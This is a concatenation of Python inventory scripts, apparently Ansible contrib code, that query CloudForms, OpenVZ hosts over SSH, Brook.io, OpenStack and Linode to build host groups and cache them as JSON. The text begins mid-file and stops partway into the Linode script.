        Reads the settings from the cloudforms.ini file
        """
        config = ConfigParser.SafeConfigParser()
        config_paths = [
            os.path.dirname(os.path.realpath(__file__)) + '/cloudforms.ini',
            "/etc/ansible/cloudforms.ini",
        ]

        env_value = os.environ.get('CLOUDFORMS_INI_PATH')
        if env_value is not None:
            config_paths.append(os.path.expanduser(os.path.expandvars(env_value)))

        if self.args.debug:
            for config_path in config_paths:
                print("Reading from configuration file [%s]" % config_path)

        config.read(config_paths)

        # CloudForms API related
        if config.has_option('cloudforms', 'url'):
            self.cloudforms_url = config.get('cloudforms', 'url')
        else:
            self.cloudforms_url = None

        if not self.cloudforms_url:
            warnings.warn("No url specified, expected something like 'https://cfme.example.com'")

        if config.has_option('cloudforms', 'username'):
            self.cloudforms_username = config.get('cloudforms', 'username')
        else:
            self.cloudforms_username = None

        if not self.cloudforms_username:
            warnings.warn("No username specified, you need to specify a CloudForms username.")

        if config.has_option('cloudforms', 'password'):
            self.cloudforms_pw = config.get('cloudforms', 'password')
        else:
            self.cloudforms_pw = None

        if not self.cloudforms_pw:
            warnings.warn("No password specified, you need to specify a password for the CloudForms user.")

        if config.has_option('cloudforms', 'ssl_verify'):
            self.cloudforms_ssl_verify = config.getboolean('cloudforms', 'ssl_verify')
        else:
            self.cloudforms_ssl_verify = True

        if config.has_option('cloudforms', 'version'):
            self.cloudforms_version = config.get('cloudforms', 'version')
        else:
            self.cloudforms_version = None

        if config.has_option('cloudforms', 'limit'):
            self.cloudforms_limit = config.getint('cloudforms', 'limit')
        else:
            self.cloudforms_limit = 100

        if config.has_option('cloudforms', 'purge_actions'):
            self.cloudforms_purge_actions = config.getboolean('cloudforms', 'purge_actions')
        else:
            self.cloudforms_purge_actions = True

        if config.has_option('cloudforms', 'clean_group_keys'):
            self.cloudforms_clean_group_keys = config.getboolean('cloudforms', 'clean_group_keys')
        else:
            self.cloudforms_clean_group_keys = True

        if config.has_option('cloudforms', 'nest_tags'):
            self.cloudforms_nest_tags = config.getboolean('cloudforms', 'nest_tags')
        else:
            self.cloudforms_nest_tags = False

        # Ansible related
        try:
            group_patterns = config.get('ansible', 'group_patterns')
        except (ConfigParser.NoOptionError, ConfigParser.NoSectionError):
            group_patterns = "[]"

        self.group_patterns = eval(group_patterns)

        # Cache related
        try:
            cache_path = os.path.expanduser(config.get('cache', 'path'))
        except (ConfigParser.NoOptionError, ConfigParser.NoSectionError):
            cache_path = '.'
        (script, ext) = os.path.splitext(os.path.basename(__file__))
        self.cache_path_hosts = cache_path + "/%s.hosts" % script
        self.cache_path_inventory = cache_path + "/%s.inventory" % script
        self.cache_max_age = config.getint('cache', 'max_age')

        if self.args.debug:
            print("CloudForms settings:")
            print("cloudforms_url               = %s" % self.cloudforms_url)
            print("cloudforms_username          = %s" % self.cloudforms_username)
            print("cloudforms_pw                = %s" % self.cloudforms_pw)
            print("cloudforms_ssl_verify        = %s" % self.cloudforms_ssl_verify)
            print("cloudforms_version           = %s" % self.cloudforms_version)
            print("cloudforms_limit             = %s" % self.cloudforms_limit)
            print("cloudforms_purge_actions     = %s" % self.cloudforms_purge_actions)
            print("Cache settings:")
            print("cache_max_age        = %s" % self.cache_max_age)
            print("cache_path_hosts     = %s" % self.cache_path_hosts)
            print("cache_path_inventory = %s" % self.cache_path_inventory)

    def parse_cli_args(self):
        """
        Command line argument processing
        """
        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on CloudForms managed VMs')
        parser.add_argument('--list', action='store_true', default=True, help='List instances (default: True)')
        parser.add_argument('--host', action='store', help='Get all the variables about a specific instance')
        parser.add_argument('--pretty', action='store_true', default=False, help='Pretty print JSON output (default: False)')
        parser.add_argument('--refresh-cache', action='store_true', default=False,
                            help='Force refresh of cache by making API requests to CloudForms (default: False - use cache files)')
        parser.add_argument('--debug', action='store_true', default=False, help='Show debug output while running (default: False)')
        self.args = parser.parse_args()

    def _get_json(self, url):
        """
        Make a request and return the JSON
        """
        results = []

        ret = requests.get(url,
                           auth=HTTPBasicAuth(self.cloudforms_username, self.cloudforms_pw),
                           verify=self.cloudforms_ssl_verify)

        ret.raise_for_status()

        try:
            results = json.loads(ret.text)
        except ValueError:
            warnings.warn("Unexpected response from {0} ({1}): {2}".format(self.cloudforms_url, ret.status_code, ret.reason))
            results = {}

        if self.args.debug:
            print("=======================================================================")
            print("=======================================================================")
            print("=======================================================================")
            print(ret.text)
            print("=======================================================================")
            print("=======================================================================")
            print("=======================================================================")

        return results

    def _get_hosts(self):
        """
        Get all hosts by paging through the results
        """
        limit = self.cloudforms_limit

        page = 0
        last_page = False

        results = []

        while not last_page:
            offset = page * limit
            ret = self._get_json("%s/api/vms?offset=%s&limit=%s&expand=resources,tags,hosts,&attributes=ipaddresses" % (self.cloudforms_url, offset, limit))
            results += ret['resources']
            if ret['subcount'] < limit:
                last_page = True
            page += 1

        return results

    def update_cache(self):
        """
        Make calls to cloudforms and save the output in a cache
        """
        self.groups = dict()
        self.hosts = dict()

        if self.args.debug:
            print("Updating cache...")

        for host in self._get_hosts():
            # Ignore VMs that are not powered on
            if host['power_state'] != 'on':
                if self.args.debug:
                    print("Skipping %s because power_state = %s" % (host['name'], host['power_state']))
                continue

            # purge actions
            if self.cloudforms_purge_actions and 'actions' in host:
                del host['actions']

            # Create ansible groups for tags
            if 'tags' in host:

                # Create top-level group
                if 'tags' not in self.inventory:
                    self.inventory['tags'] = dict(children=[], vars={}, hosts=[])

                if not self.cloudforms_nest_tags:
                    # don't expand tags, just use them in a safe way
                    for group in host['tags']:
                        # Add sub-group, as a child of top-level
                        safe_key = self.to_safe(group['name'])
                        if safe_key:
                            if self.args.debug:
                                print("Adding sub-group '%s' to parent 'tags'" % safe_key)

                            if safe_key not in self.inventory['tags']['children']:
                                self.push(self.inventory['tags'], 'children', safe_key)

                            self.push(self.inventory, safe_key, host['name'])

                            if self.args.debug:
                                print("Found tag [%s] for host which will be mapped to [%s]" % (group['name'], safe_key))
                else:
                    # expand the tags into nested groups / sub-groups
                    # Create nested groups for tags
                    safe_parent_tag_name = 'tags'
                    for tag in host['tags']:
                        tag_hierarchy = tag['name'][1:].split('/')

                        if self.args.debug:
                            print("Working on list %s" % tag_hierarchy)

                        for tag_name in tag_hierarchy:
                            if self.args.debug:
                                print("Working on tag_name = %s" % tag_name)

                            safe_tag_name = self.to_safe(tag_name)
                            if self.args.debug:
                                print("Using sanitized name %s" % safe_tag_name)

                            # Create sub-group
                            if safe_tag_name not in self.inventory:
                                self.inventory[safe_tag_name] = dict(children=[], vars={}, hosts=[])

                            # Add sub-group, as a child of top-level
                            if safe_parent_tag_name:
                                if self.args.debug:
                                    print("Adding sub-group '%s' to parent '%s'" % (safe_tag_name, safe_parent_tag_name))

                                if safe_tag_name not in self.inventory[safe_parent_tag_name]['children']:
                                    self.push(self.inventory[safe_parent_tag_name], 'children', safe_tag_name)

                            # Make sure the next one uses this one as it's parent
                            safe_parent_tag_name = safe_tag_name

                        # Add the host to the last tag
                        self.push(self.inventory[safe_parent_tag_name], 'hosts', host['name'])

            # Set ansible_ssh_host to the first available ip address
            if 'ipaddresses' in host and host['ipaddresses'] and isinstance(host['ipaddresses'], list):
                host['ansible_ssh_host'] = host['ipaddresses'][0]

            # Create additional groups
            for key in ('location', 'type', 'vendor'):
                safe_key = self.to_safe(host[key])

                # Create top-level group
                if key not in self.inventory:
                    self.inventory[key] = dict(children=[], vars={}, hosts=[])

                # Create sub-group
                if safe_key not in self.inventory:
                    self.inventory[safe_key] = dict(children=[], vars={}, hosts=[])

                # Add sub-group, as a child of top-level
                if safe_key not in self.inventory[key]['children']:
                    self.push(self.inventory[key], 'children', safe_key)

                if key in host:
                    # Add host to sub-group
                    self.push(self.inventory[safe_key], 'hosts', host['name'])

            self.hosts[host['name']] = host
            self.push(self.inventory, 'all', host['name'])

        if self.args.debug:
            print("Saving cached data")

        self.write_to_cache(self.hosts, self.cache_path_hosts)
        self.write_to_cache(self.inventory, self.cache_path_inventory)

    def get_host_info(self, host):
        """
        Get variables about a specific host
        """
        if not self.hosts or len(self.hosts) == 0:
            # Need to load cache from cache
            self.load_hosts_from_cache()

        if host not in self.hosts:
            if self.args.debug:
                print("[%s] not found in cache." % host)

            # try updating the cache
            self.update_cache()

            if host not in self.hosts:
                if self.args.debug:
                    print("[%s] does not exist after cache update." % host)
                # host might not exist anymore
                return self.json_format_dict({}, self.args.pretty)

        return self.json_format_dict(self.hosts[host], self.args.pretty)

    def push(self, d, k, v):
        """
        Safely puts a new entry onto an array.
        """
        if k in d:
            d[k].append(v)
        else:
            d[k] = [v]

    def load_inventory_from_cache(self):
        """
        Reads the inventory from the cache file sets self.inventory
        """
        cache = open(self.cache_path_inventory, 'r')
        json_inventory = cache.read()
        self.inventory = json.loads(json_inventory)

    def load_hosts_from_cache(self):
        """
        Reads the cache from the cache file sets self.hosts
        """
        cache = open(self.cache_path_hosts, 'r')
        json_cache = cache.read()
        self.hosts = json.loads(json_cache)

    def write_to_cache(self, data, filename):
        """
        Writes data in JSON format to a file
        """
        json_data = self.json_format_dict(data, True)
        cache = open(filename, 'w')
        cache.write(json_data)
        cache.close()

    def to_safe(self, word):
        """
        Converts 'bad' characters in a string to underscores so they can be used as Ansible groups
        """
        if self.cloudforms_clean_group_keys:
            regex = "[^A-Za-z0-9\_]"
            return re.sub(regex, "_", word.replace(" ", ""))
        else:
            return word

    def json_format_dict(self, data, pretty=False):
        """
        Converts a dict to a JSON object and dumps it as a formatted string
        """
        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)

CloudFormsInventory()






#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# openvz.py
#
# Copyright 2014 jordonr <jordon@beamsyn.net>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
# Inspired by libvirt_lxc.py inventory script
# https://github.com/ansible/ansible/blob/e5ef0eca03cbb6c8950c06dc50d0ca22aa8902f4/plugins/inventory/libvirt_lxc.py
#
# Groups are determined by the description field of openvz guests
# multiple groups can be separated by commas: webserver,dbserver

from subprocess import Popen,PIPE
import sys
import json


#List openvz hosts
vzhosts = ['vzhost1','vzhost2','vzhost3']
#Add openvz hosts to the inventory and Add "_meta" trick
inventory = {'vzhosts': {'hosts': vzhosts}, '_meta': {'hostvars': {}}}
#default group, when description not defined
default_group = ['vzguest']

def get_guests():
    #Loop through vzhosts
    for h in vzhosts:
        #SSH to vzhost and get the list of guests in json
        pipe = Popen(['ssh', h,'vzlist','-j'], stdout=PIPE, universal_newlines=True)

        #Load Json info of guests
        json_data = json.loads(pipe.stdout.read())

        #loop through guests
        for j in json_data:
            #Add information to host vars
            inventory['_meta']['hostvars'][j['hostname']] = {'ctid': j['ctid'], 'veid': j['veid'], 'vpsid': j['vpsid'], 'private_path': j['private'], 'root_path': j['root'], 'ip': j['ip']}

            #determine group from guest description
            if j['description'] is not None:
                groups = j['description'].split(",")
            else:
                groups = default_group

            #add guest to inventory
            for g in groups:
                if g not in inventory:
                    inventory[g] = {'hosts': []}

                inventory[g]['hosts'].append(j['hostname'])

        return inventory


if len(sys.argv) == 2 and sys.argv[1] == '--list':
    inv_json = get_guests()
    print(json.dumps(inv_json, sort_keys=True))
elif len(sys.argv) == 3 and sys.argv[1] == '--host':
    print(json.dumps({}))
else:
    print("Need an argument, either --list or --host <host>")






#!/usr/bin/env python
# Copyright 2016 Doalitic.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

"""
Brook.io external inventory script
==================================

Generates inventory that Ansible can understand by making API requests to Brook.io via the libbrook
library. Hence, such dependency must be installed in the system to run this script.

The default configuration file is named 'brook.ini' and is located alongside this script. You can
choose any other file by setting the BROOK_INI_PATH environment variable.

If param 'project_id' is left blank in 'brook.ini', the inventory includes all the instances in
projects where the requesting user belongs. Otherwise, only instances from the given project are
included, provided the requesting user belongs to it.

The following variables are established for every host. They can be retrieved from the hostvars
dictionary.
 - brook_name: str
 - brook_description: str
 - brook_project: str
 - brook_template: str
 - brook_region: str
 - brook_status: str
 - brook_tags: list(str)
 - brook_internal_ips: list(str)
 - brook_external_ips: list(str)
 - brook_created_at
 - brook_updated_at
 - ansible_ssh_host

Instances are grouped by the following categories:
 - tag:
   A group is created for each tag. E.g. groups 'tag_foo' and 'tag_bar' are created if there exist
   instances with tags 'foo' and/or 'bar'.
 - project:
   A group is created for each project. E.g. group 'project_test' is created if a project named
   'test' exist.
 - status:
   A group is created for each instance state. E.g. groups 'status_RUNNING' and 'status_PENDING'
   are created if there are instances in running and pending state.

Examples:
  Execute uname on all instances in project 'test'
  $ ansible -i brook.py project_test -m shell -a "/bin/uname -a"

  Install nginx on all debian web servers tagged with 'www'
  $ ansible -i brook.py tag_www -m apt -a "name=nginx state=present"

  Run site.yml playbook on web servers
  $ ansible-playbook -i brook.py site.yml -l tag_www

Support:
  This script is tested on Python 2.7 and 3.4. It may work on other versions though.

Author: Francisco Ros <fjros@doalitic.com>
Version: 0.1
"""


import sys
import os

try:
    from ConfigParser import SafeConfigParser as ConfigParser
except ImportError:
    from configparser import ConfigParser

try:
    import json
except ImportError:
    import simplejson as json

try:
    import libbrook
except:
    sys.exit('Brook.io inventory script requires libbrook. See https://github.com/doalitic/libbrook')


class BrookInventory:

    _API_ENDPOINT = 'https://api.brook.io'

    def __init__(self):
        self._configure_from_file()
        self.client = self.get_api_client()
        self.inventory = self.get_inventory()

    def _configure_from_file(self):
        """Initialize from .ini file.

        Configuration file is assumed to be named 'brook.ini' and to be located on the same
        directory than this file, unless the environment variable BROOK_INI_PATH says otherwise.
        """

        brook_ini_default_path = \
            os.path.join(os.path.dirname(os.path.realpath(__file__)), 'brook.ini')
        brook_ini_path = os.environ.get('BROOK_INI_PATH', brook_ini_default_path)

        config = ConfigParser(defaults={
            'api_token': '',
            'project_id': ''
        })
        config.read(brook_ini_path)
        self.api_token = config.get('brook', 'api_token')
        self.project_id = config.get('brook', 'project_id')

        if not self.api_token:
            print('You must provide (at least) your Brook.io API token to generate the dynamic '
                  'inventory.')
            sys.exit(1)

    def get_api_client(self):
        """Authenticate user via the provided credentials and return the corresponding API client.
        """

        # Get JWT token from API token
        #
        unauthenticated_client = libbrook.ApiClient(host=self._API_ENDPOINT)
        auth_api = libbrook.AuthApi(unauthenticated_client)
        api_token = libbrook.AuthTokenRequest()
        api_token.token = self.api_token
        jwt = auth_api.auth_token(token=api_token)

        # Create authenticated API client
        #
        return libbrook.ApiClient(host=self._API_ENDPOINT,
                                  header_name='Authorization',
                                  header_value='Bearer %s' % jwt.token)

    def get_inventory(self):
        """Generate Ansible inventory.
        """

        groups = dict()
        meta = dict()
        meta['hostvars'] = dict()

        instances_api = libbrook.InstancesApi(self.client)
        projects_api = libbrook.ProjectsApi(self.client)
        templates_api = libbrook.TemplatesApi(self.client)

        # If no project is given, get all projects the requesting user has access to
        #
        if not self.project_id:
            projects = [project.id for project in projects_api.index_projects()]
        else:
            projects = [self.project_id]

        # Build inventory from instances in all projects
        #
        for project_id in projects:
            project = projects_api.show_project(project_id=project_id)
            for instance in instances_api.index_instances(project_id=project_id):
                # Get template used for this instance
                template = templates_api.show_template(template_id=instance.template)

                # Update hostvars
                try:
                    meta['hostvars'][instance.name] = \
                        self.hostvars(project, instance, template, instances_api)
                except libbrook.rest.ApiException:
                    continue

                # Group by project
                project_group = 'project_%s' % project.name
                if project_group in groups.keys():
                    groups[project_group].append(instance.name)
                else:
                    groups[project_group] = [instance.name]

                # Group by status
                status_group = 'status_%s' % meta['hostvars'][instance.name]['brook_status']
                if status_group in groups.keys():
                    groups[status_group].append(instance.name)
                else:
                    groups[status_group] = [instance.name]

                # Group by tags
                tags = meta['hostvars'][instance.name]['brook_tags']
                for tag in tags:
                    tag_group = 'tag_%s' % tag
                    if tag_group in groups.keys():
                        groups[tag_group].append(instance.name)
                    else:
                        groups[tag_group] = [instance.name]

        groups['_meta'] = meta
        return groups

    def hostvars(self, project, instance, template, api):
        """Return the hostvars dictionary for the given instance.

        Raise libbrook.rest.ApiException if it cannot retrieve all required information from the
        Brook.io API.
        """

        hostvars = instance.to_dict()
        hostvars['brook_name'] = hostvars.pop('name')
        hostvars['brook_description'] = hostvars.pop('description')
        hostvars['brook_project'] = hostvars.pop('project')
        hostvars['brook_template'] = hostvars.pop('template')
        hostvars['brook_region'] = hostvars.pop('region')
        hostvars['brook_created_at'] = hostvars.pop('created_at')
        hostvars['brook_updated_at'] = hostvars.pop('updated_at')
        del hostvars['id']
        del hostvars['key']
        del hostvars['provider']
        del hostvars['image']

        # Substitute identifiers for names
        #
        hostvars['brook_project'] = project.name
        hostvars['brook_template'] = template.name

        # Retrieve instance state
        #
        status = api.status_instance(project_id=project.id, instance_id=instance.id)
        hostvars.update({'brook_status': status.state})

        # Retrieve instance tags
        #
        tags = api.instance_tags(project_id=project.id, instance_id=instance.id)
        hostvars.update({'brook_tags': tags})

        # Retrieve instance addresses
        #
        addresses = api.instance_addresses(project_id=project.id, instance_id=instance.id)
        internal_ips = [address.address for address in addresses if address.scope == 'internal']
        external_ips = [address.address for address in addresses
                        if address.address and address.scope == 'external']
        hostvars.update({'brook_internal_ips': internal_ips})
        hostvars.update({'brook_external_ips': external_ips})
        try:
            hostvars.update({'ansible_ssh_host': external_ips[0]})
        except IndexError:
            raise libbrook.rest.ApiException(status='502', reason='Instance without public IP')

        return hostvars


# Run the script
#
brook = BrookInventory()
print(json.dumps(brook.inventory))






#!/usr/bin/env python

# Copyright (c) 2012, Marco Vito Moscaritolo <marco@agavee.com>
# Copyright (c) 2013, Jesse Keating <jesse.keating@rackspace.com>
# Copyright (c) 2015, Hewlett-Packard Development Company, L.P.
# Copyright (c) 2016, Rackspace Australia
#
# This module is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This software is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this software.  If not, see <http://www.gnu.org/licenses/>.

# The OpenStack Inventory module uses os-client-config for configuration.
# https://github.com/stackforge/os-client-config
# This means it will either:
#  - Respect normal OS_* environment variables like other OpenStack tools
#  - Read values from a clouds.yaml file.
# If you want to configure via clouds.yaml, you can put the file in:
#  - Current directory
#  - ~/.config/openstack/clouds.yaml
#  - /etc/openstack/clouds.yaml
#  - /etc/ansible/openstack.yml
# The clouds.yaml file can contain entries for multiple clouds and multiple
# regions of those clouds. If it does, this inventory module will connect to
# all of them and present them as one contiguous inventory.
#
# See the adjacent openstack.yml file for an example config file
# There are two ansible inventory specific options that can be set in
# the inventory section.
# expand_hostvars controls whether or not the inventory will make extra API
#                 calls to fill out additional information about each server
# use_hostnames changes the behavior from registering every host with its UUID
#               and making a group of its hostname to only doing this if the
#               hostname in question has more than one server
# fail_on_errors causes the inventory to fail and return no hosts if one cloud
#                has failed (for example, bad credentials or being offline).
#                When set to False, the inventory will return hosts from
#                whichever other clouds it can contact. (Default: True)

import argparse
import collections
import os
import sys
import time
from distutils.version import StrictVersion

try:
    import json
except:
    import simplejson as json

import os_client_config
import shade
import shade.inventory

CONFIG_FILES = ['/etc/ansible/openstack.yaml', '/etc/ansible/openstack.yml']


def get_groups_from_server(server_vars, namegroup=True):
    groups = []

    region = server_vars['region']
    cloud = server_vars['cloud']
    metadata = server_vars.get('metadata', {})

    # Create a group for the cloud
    groups.append(cloud)

    # Create a group on region
    groups.append(region)

    # And one by cloud_region
    groups.append("%s_%s" % (cloud, region))

    # Check if group metadata key in servers' metadata
    if 'group' in metadata:
        groups.append(metadata['group'])

    for extra_group in metadata.get('groups', '').split(','):
        if extra_group:
            groups.append(extra_group.strip())

    groups.append('instance-%s' % server_vars['id'])
    if namegroup:
        groups.append(server_vars['name'])

    for key in ('flavor', 'image'):
        if 'name' in server_vars[key]:
            groups.append('%s-%s' % (key, server_vars[key]['name']))

    for key, value in iter(metadata.items()):
        groups.append('meta-%s_%s' % (key, value))

    az = server_vars.get('az', None)
    if az:
        # Make groups for az, region_az and cloud_region_az
        groups.append(az)
        groups.append('%s_%s' % (region, az))
        groups.append('%s_%s_%s' % (cloud, region, az))
    return groups


def get_host_groups(inventory, refresh=False):
    (cache_file, cache_expiration_time) = get_cache_settings()
    if is_cache_stale(cache_file, cache_expiration_time, refresh=refresh):
        groups = to_json(get_host_groups_from_cloud(inventory))
        open(cache_file, 'w').write(groups)
    else:
        groups = open(cache_file, 'r').read()
    return groups


def append_hostvars(hostvars, groups, key, server, namegroup=False):
    hostvars[key] = dict(
        ansible_ssh_host=server['interface_ip'],
        openstack=server)
    for group in get_groups_from_server(server, namegroup=namegroup):
        groups[group].append(key)


def get_host_groups_from_cloud(inventory):
    groups = collections.defaultdict(list)
    firstpass = collections.defaultdict(list)
    hostvars = {}
    list_args = {}
    if hasattr(inventory, 'extra_config'):
        use_hostnames = inventory.extra_config['use_hostnames']
        list_args['expand'] = inventory.extra_config['expand_hostvars']
        if StrictVersion(shade.__version__) >= StrictVersion("1.6.0"):
            list_args['fail_on_cloud_config'] = \
                inventory.extra_config['fail_on_errors']
    else:
        use_hostnames = False

    for server in inventory.list_hosts(**list_args):

        if 'interface_ip' not in server:
            continue
        firstpass[server['name']].append(server)
    for name, servers in firstpass.items():
        if len(servers) == 1 and use_hostnames:
            append_hostvars(hostvars, groups, name, servers[0])
        else:
            server_ids = set()
            # Trap for duplicate results
            for server in servers:
                server_ids.add(server['id'])
            if len(server_ids) == 1 and use_hostnames:
                append_hostvars(hostvars, groups, name, servers[0])
            else:
                for server in servers:
                    append_hostvars(
                        hostvars, groups, server['id'], server,
                        namegroup=True)
    groups['_meta'] = {'hostvars': hostvars}
    return groups


def is_cache_stale(cache_file, cache_expiration_time, refresh=False):
    ''' Determines if cache file has expired, or if it is still valid '''
    if refresh:
        return True
    if os.path.isfile(cache_file) and os.path.getsize(cache_file) > 0:
        mod_time = os.path.getmtime(cache_file)
        current_time = time.time()
        if (mod_time + cache_expiration_time) > current_time:
            return False
    return True


def get_cache_settings():
    config = os_client_config.config.OpenStackConfig(
        config_files=os_client_config.config.CONFIG_FILES + CONFIG_FILES)
    # For inventory-wide caching
    cache_expiration_time = config.get_cache_expiration_time()
    cache_path = config.get_cache_path()
    if not os.path.exists(cache_path):
        os.makedirs(cache_path)
    cache_file = os.path.join(cache_path, 'ansible-inventory.cache')
    return (cache_file, cache_expiration_time)


def to_json(in_dict):
    return json.dumps(in_dict, sort_keys=True, indent=2)


def parse_args():
    parser = argparse.ArgumentParser(description='OpenStack Inventory Module')
    parser.add_argument('--private',
                        action='store_true',
                        help='Use private address for ansible host')
    parser.add_argument('--refresh', action='store_true',
                        help='Refresh cached information')
    parser.add_argument('--debug', action='store_true', default=False,
                        help='Enable debug output')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--list', action='store_true',
                       help='List active servers')
    group.add_argument('--host', help='List details about the specific host')

    return parser.parse_args()


def main():
    args = parse_args()
    try:
        config_files = os_client_config.config.CONFIG_FILES + CONFIG_FILES
        shade.simple_logging(debug=args.debug)
        inventory_args = dict(
            refresh=args.refresh,
            config_files=config_files,
            private=args.private,
        )
        if hasattr(shade.inventory.OpenStackInventory, 'extra_config'):
            inventory_args.update(dict(
                config_key='ansible',
                config_defaults={
                    'use_hostnames': False,
                    'expand_hostvars': True,
                    'fail_on_errors': True,
                }
            ))

        inventory = shade.inventory.OpenStackInventory(**inventory_args)

        if args.list:
            output = get_host_groups(inventory, refresh=args.refresh)
        elif args.host:
            output = to_json(inventory.get_host(args.host))
        print(output)
    except shade.OpenStackCloudException as e:
        sys.stderr.write('%s\n' % e.message)
        sys.exit(1)
    sys.exit(0)


if __name__ == '__main__':
    main()






#!/usr/bin/env python

'''
Linode external inventory script
=================================

Generates inventory that Ansible can understand by making API request to
Linode using the Chube library.

NOTE: This script assumes Ansible is being executed where Chube is already
installed and has a valid config at ~/.chube. If not, run:

    pip install chube
    echo -e "---\napi_key: <YOUR API KEY GOES HERE>" > ~/.chube

For more details, see: https://github.com/exosite/chube

NOTE: This script also assumes that the Linodes in your account all have
labels that correspond to hostnames that are in your resolver search path.
Your resolver search path resides in /etc/hosts.

When run against a specific host, this script returns the following variables:

    - api_id
    - datacenter_id
    - datacenter_city (lowercase city name of data center, e.g. 'tokyo')
    - label
    - display_group
    - create_dt
    - total_hd
    - total_xfer
    - total_ram
    - status
    - public_ip (The first public IP found)
    - private_ip (The first private IP found, or empty string if none)
    - alert_cpu_enabled
    - alert_cpu_threshold
    - alert_diskio_enabled
    - alert_diskio_threshold
    - alert_bwin_enabled
    - alert_bwin_threshold
    - alert_bwout_enabled
    - alert_bwout_threshold
    - alert_bwquota_enabled
    - alert_bwquota_threshold
    - backup_weekly_daily
    - backup_window
    - watchdog

Peter Sankauskas did most of the legwork here with his linode plugin; I
just adapted that for Linode.
'''

# (c) 2013, Dan Slimmon
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

# Standard imports
import os
import re
import sys
import argparse
from time import time

try:
    import json
except ImportError:
    import simplejson as json

try:
    from chube import load_chube_config
    from chube import api as chube_api
    from chube.datacenter import Datacenter
    from chube.linode_obj import Linode
except:
    try:
        # remove local paths and other stuff that may
        # cause an import conflict, as chube is sensitive
        # to name collisions on importing
        old_path = sys.path
        sys.path = [d for d in sys.path if d not in ('', os.getcwd(), os.path.dirname(os.path.realpath(__file__)))]

        from chube import load_chube_config
        from chube import api as chube_api
        from chube.datacenter import Datacenter
        from chube.linode_obj import Linode

        sys.path = old_path
    except Exception as e:
        raise Exception("could not import chube")

load_chube_config()

# Imports for ansible
import ConfigParser

class LinodeInventory(object):
    def __init__(self):
        """Main execution path."""
        # Inventory grouped by display group
        self.inventory = {}
        # Index of label to Linode ID
        self.index = {}
        # Local cache of Datacenter objects populated by populate_datacenter_cache()
        self._datacenter_cache = None

        # Read settings and parse CLI arguments
        self.read_settings()
        self.parse_cli_args()

        # Cache
        if self.args.refresh_cache:
            self.do_api_calls_update_cache()
        elif not self.is_cache_valid():
            self.do_api_calls_update_cache()

        # Data to print
        if self.args.host:
            data_to_print = self.get_host_info()
        elif self.args.list:
            # Display list of nodes for inventory
            if len(self.inventory) == 0:
                data_to_print = self.get_inventory_from_cache()
            else:
                data_to_print = self.json_format_dict(self.inventory, True)

        print(data_to_print)

    def is_cache_valid(self):
        """Determines if the cache file has expired, or if it is still valid."""
        if os.path.isfile(self.cache_path_cache):
            mod_time = os.path.getmtime(self.cache_path_cache)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                if os.path.isfile(self.cache_path_index):
                    return True
        return False

    def read_settings(self):
        """Reads the settings from the .ini file."""
        config = ConfigParser.SafeConfigParser()
        config.read(os.path.dirname(os.path.realpath(__file__)) + '/linode.ini')

        # Cache related
        cache_path = config.get('linode', 'cache_path')
        self.cache_path_cache = cache_path + "/ansible-linode.cache"
        self.cache_path_index = cache_path + "/ansible-linode.index"
        self.cache_max_age = config.getint('linode', 'cache_max_age')

    def parse_cli_args(self):
        """Command line argument processing"""
        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on Linode')
        parser.add_argument('--list', action='store_true', default=True,
                           help='List nodes (default: True)')
        parser.add_argument('--host', action='store',
                           help='Get all the variables about a specific node')
        parser.add_argument('--refresh-cache', action='store_true', default=False,
                           help='Force refresh of cache by making API requests to Linode (default: False - use cache files)')
        self.args = parser.parse_args()

    def do_api_calls_update_cache(self):
        """Do API calls, and save data in cache files."""
        self.get_nodes()
        self.write_to_cache(self.inventory, self.cache_path_cache)
        self.write_to_cache(self.index, self.cache_path_index)

    def get_nodes(self):
        """Makes an Linode API call to get the list of nodes."""
        try:
            for node in Linode.search(status=Linode.STATUS_RUNNING):
                self.add_node(node)
        except chube_api.linode_api.ApiError as e:
            sys.exit("Looks like Linode's API is down:\n %s" % e)

    def get_node(self, linode_id):
        """Gets details about a specific node."""
        try:
            return Linode.find(api_id=linode_id)
        except chube_api.linode_api.ApiError as e:
            sys.exit("Looks like Linode's API is down:\n%" % e)

    def populate_datacenter_cache(self):
        """Creates self._datacenter_cache, containing all Datacenters indexed by ID."""
        self._datacenter_cache = {}
        dcs = Datacenter.search()
        for dc in dcs:
            self._datacenter_cache[dc.api_id] = dc

    def get_datacenter_city(self, node):
        """Returns a the lowercase city name of the node's data center."""
        if self._datacenter_cache is None:
